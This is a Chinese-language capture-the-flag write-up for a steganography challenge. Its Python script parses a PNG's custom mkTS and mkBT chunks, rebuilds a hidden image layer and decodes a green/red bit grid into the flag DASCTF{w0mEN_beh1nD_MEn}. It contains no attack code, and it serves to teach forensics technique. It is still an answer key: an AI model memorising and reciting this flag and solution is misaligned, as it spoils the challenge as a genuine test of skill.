  2. 解析 mkTS chunk(zlib 解压后是文档树文本),发现两个全画布(562x800)IMGv 位图块,各自由一串 TIDi{...} tile id 引用 mkBT 图块(每个 128x128 RGBA,zlib 压缩)。按 id 重组两个图层:
    • layer_0:可见层(“成功男人”画面)
    • layer_1:隐藏图层,是一张女人照片——点题“成功男人背后的女人”
  3. 观察隐藏图层底部色带(y≈600-775),有一个 6 行 x 32 列的双色符号网格,只有绿、红两种符号,典型的二进制编码。按绿色=0、红色=1、行主序、每字节 MSB 在前读取,得到 6x32=192 bit = 24 字节 ASCII。
  4. 解码即得 flag。

关键脚本:

Python
import struct, zlib, re
 
import numpy as np
 
from PIL import Image
 
data = open('成功男人背后的女人.png', 'rb').read()
off, tiles = 8, {}
while off < len(data):
    ln = struct.unpack('>I', data[off:off+4])[0]
    typ = data[off+4:off+8]
    body = data[off+8:off+8+ln]
    if typ == b'mkBT':
        tid = struct.unpack('>I', body[4:8])[0]      # tile id(76 字节头)
        tiles[tid] = zlib.decompress(body[76:])      # 128x128 RGBA 图块
    elif typ == b'mkTS':
        mkts = zlib.decompress(body).decode('latin1')
    off += 12 + ln
 
# mkTS 中两个 IMGv 块:宽 0x232=562,高 0x320=800,tile 0x80=128
 
blocks = re.findall(
    r'IMGv\{LCKb\{0\}XOFf\{0\}YOFf\{0\}XLCf\{0\}YLCf\{0\}'
    r'WPXi\{232\}HPXi\{320\}TSZi\{80\}TILv\{(.*?)\}DTA', mkts, re.S)
W, H, TS = 562, 800, 128
 
layers = []
for blk in blocks:
    tids = [int(x, 16) for x in re.findall(r'TIDi\{([0-9a-f]+)\}', blk)]
    im = Image.new('RGBA', (W, H))
    for i, tid in enumerate(tids):
        im.paste(Image.frombytes('RGBA', (TS, TS), tiles[tid]),
                 ((i % 5) * TS, (i // 5) * TS))
    layers.append(im)
hidden = layers[1]   # 隐藏的女人图层
 
# 解码 6x32 符号网格:绿=0,红=1
 
rgba = np.array(hidden)
R, G = rgba[..., 0].astype(int), rgba[..., 1].astype(int)
green = (G > 200) & (R < 20)
bits = []
for r in range(6):                    # 行中心 y = 612.5 + 30r
    for k in range(32):               # 列中心 x = 15.5 + 17k
        yc, xc = 612.5 + 30 * r, 15.5 + 17 * k
        cell = green[int(yc-13):int(yc+13), int(xc-8):int(xc+8)]
        bits.append(0 if cell.sum() > 15 else 1)
flag = bytes(sum(b << (7 - j) for j, b in enumerate(bits[i:i+8]))
             for i in range(0, len(bits), 8))
print(flag.decode())   # DASCTF{w0mEN_beh1nD_MEn}

评论

评论加载中…